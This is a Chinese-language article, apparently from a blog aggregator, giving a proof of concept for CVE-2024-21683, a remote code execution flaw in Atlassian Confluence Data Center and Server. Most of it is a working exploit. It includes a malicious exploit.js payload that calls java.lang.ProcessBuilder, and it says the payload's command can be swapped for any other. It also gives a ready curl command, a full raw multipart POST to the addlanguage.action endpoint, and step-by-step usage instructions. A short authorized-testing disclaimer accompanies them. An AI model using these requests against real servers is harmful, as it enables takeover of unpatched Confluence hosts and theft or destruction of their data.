news 2026/4/15 14:10:41

CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞分析

CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞

项目描述

CVE-2024-21683 是 Atlassian Confluence Data Center 和 Server 版本中存在的一个严重安全漏洞。该漏洞允许经过身份验证的攻击者通过特定的管理员插件功能,上传恶意的 JavaScript 文件,从而在服务器上执行任意系统命令。成功利用此漏洞可能导致攻击者完全控制受影响的 Confluence 服务器,进而窃取数据、篡改信息或破坏服务可用性。

功能特性

  • 漏洞验证:提供了两种详细的漏洞利用请求方法,用于验证目标 Confluence 服务器是否存在 CVE-2024-21683 漏洞。
  • 命令执行:利用 Java 的ProcessBuilder类,通过上传的 JavaScript 文件在目标服务器上执行任意操作系统命令(示例中为启动计算器程序calc.exe)。
  • 多种利用方式:包含通过curl命令行工具和原始 HTTP POST 请求两种攻击向量,适应不同测试环境和工具链。
  • 清晰的触发条件:明确了漏洞利用成功的关键要素,包括有效的管理员会话(atl_tokenCookie)以及对/admin/plugins/newcode/addlanguage.action端点的访问权限。

安装指南

此项目并非一个需要安装的软件,而是一个安全漏洞的概念验证(PoC)和说明文档。因此,没有传统的安装步骤或依赖项。

使用前提:

  1. 一个用于测试的、受漏洞影响的 Atlassian Confluence Data Center 或 Server 环境。
  2. 具备该环境的网络访问权限。
  3. 拥有一个有效的、具有管理员权限的 Confluence 用户会话(用于获取atl_tokenCookie)。
  4. 用于发送 HTTP 请求的工具,如curl、Burp Suite 或 Postman。

注意:此 PoC 仅限用于授权的安全测试、教育研究或漏洞验证。严禁在未获得明确授权的情况下对任何系统进行测试。

使用说明

基础利用步骤

  1. 准备恶意负载:创建一个名为exploit.js的文本文件,内容如下:

    newjava.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

    您可以将calc.exe替换为目标服务器操作系统支持的任何其他命令。

  2. 获取认证令牌:登录到目标 Confluence 的管理员后台,从相关表单或页面中获取有效的atl_token值以及当前会话的Cookie

  3. 执行漏洞利用:选择以下任一方法发送攻击请求。

利用方法一:使用 cURL 命令

在终端中执行以下命令,替换[IP_address][atl_token][Your cookies]为实际值。

curl-X POST http://[IP_address]:8090/admin/plugins/newcode/addlanguage.action -H"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08"-F"atl_token=[atl_token]"-F"languageFile=@exploit.js;filename=exploit.js"-F"newLanguageName=RCE"--cookie"[Your cookies]"

利用方法二:发送原始 HTTP 请求

使用 Burp Suite、Postman 或类似的 HTTP 客户端工具,发送如下格式的 POST 请求。

POST /admin/plugins/newcode/addlanguage.action HTTP/1.1 Host: 127.0.0.1:8090 Content-Length: 512 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: [Your cookies ] Connection: close WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="atl_token" [ atl_token ] WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="languageFile"; filename="exploit.js" Content-Type: text/javascript new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start() WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="newLanguageName" RCE WebKitFormBoundaryvguW5DY0BuQ87x08--

验证利用结果

如果目标服务器存在漏洞且利用请求成功,服务器将解析并执行exploit.js文件中的 JavaScript 代码。在 Windows 服务器上,这将导致calc.exe(计算器)进程被启动,作为命令执行成功的直观证明。

核心代码

以下是构成此 PoC 的核心代码片段及其注释:

1. 恶意 JavaScript 负载 (exploit.js)

// 利用Java的ProcessBuilder类执行系统命令// `["calc.exe"]` 是要执行的命令及其参数列表(此处仅为启动计算器的命令)// `.start()` 方法启动该进程newjava.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

注释:这是漏洞利用的核心。它利用了 Confluence 服务端对上传的 JavaScript 文件进行不安全解析或执行的特性,直接调用了 Java 运行时环境来创建新的系统进程。

2. cURL 攻击命令的关键部分

-F"languageFile=@exploit.js;filename=exploit.js"

注释-F参数用于向multipart/form-data类型的表单提交文件。@exploit.js指定了要上传的本地文件路径,filename=exploit.js设置了文件在HTTP请求中的名称。这是将恶意脚本上传到漏洞端点的关键参数。

3. HTTP 请求中的 multipart 表单数据体

WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="languageFile"; filename="exploit.js" Content-Type: text/javascript [恶意JS代码内容]

注释:这部分展示了原始 HTTP 请求中上传文件的格式。Content-Disposition头部指明了这是一个表单文件字段,其名称为languageFile,服务器端代码预期通过此名称接收文件。Content-Type告诉服务器文件类型为 JavaScript,这可能是触发服务器端特定解析逻辑的条件之一。边界符------WebKitFormBoundary...用于分隔表单中的不同字段。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 3:27:34

Multisim14.0安装教程:实验室电脑批量部署操作指南

Multisim 14.0实验室批量部署实战:从零搭建标准化仿真环境你有没有经历过这样的场景?新学期开始前,面对整整两间机房、近百台电脑,你要一台一台地安装Multisim 14.0,每台都要点“下一步”十几遍,还要手动激…

作者头像 李华
网站建设 2026/4/11 20:12:18

CO3Dv2三维重建实战手册:从数据驱动到性能突破

三维重建技术正在重塑我们对真实世界的数字化理解,而高质量的数据集是推动这一领域发展的关键引擎。CO3Dv2作为通用三维物体数据集的第二代版本,为开发者和研究者提供了前所未有的技术支撑。本文将带您深入探索这一强大工具集,掌握从环境部署…

作者头像 李华
网站建设 2026/4/11 15:08:30

14、XSLT 2.0 中模式(Schemas)的使用与类型注解

XSLT 2.0 中模式(Schemas)的使用与类型注解 1. XSLT 1.0 与 2.0 在模式感知上的差异 XSLT 2.0 引入了模式感知,这是与 XSLT 1.0 的一个重大区别。在 XSLT 1.0 中,对 XML 文档的访问主要局限于格式良好的 XML 文档所提供的信息,即文档中实际存在的元素、属性及其排列方式…

作者头像 李华
网站建设 2026/4/13 8:43:50

PaddlePaddle镜像支持训练任务依赖管理,构建复杂AI流水线

PaddlePaddle镜像支持训练任务依赖管理,构建复杂AI流水线 在当今AI研发节奏日益加快的背景下,一个模型从实验到上线的过程早已不再是“写代码—跑训练—部署”这么简单。尤其是在中文OCR、智能客服、工业质检等实际场景中,企业面临的挑战是&a…

作者头像 李华
网站建设 2026/4/10 18:31:51

DAY28@浙大疏锦行

1. 类的定义2. pass占位语句3. 类的初始化方法4. 类的普通方法5. 类的继承:属性的继承、方法的继承

作者头像 李华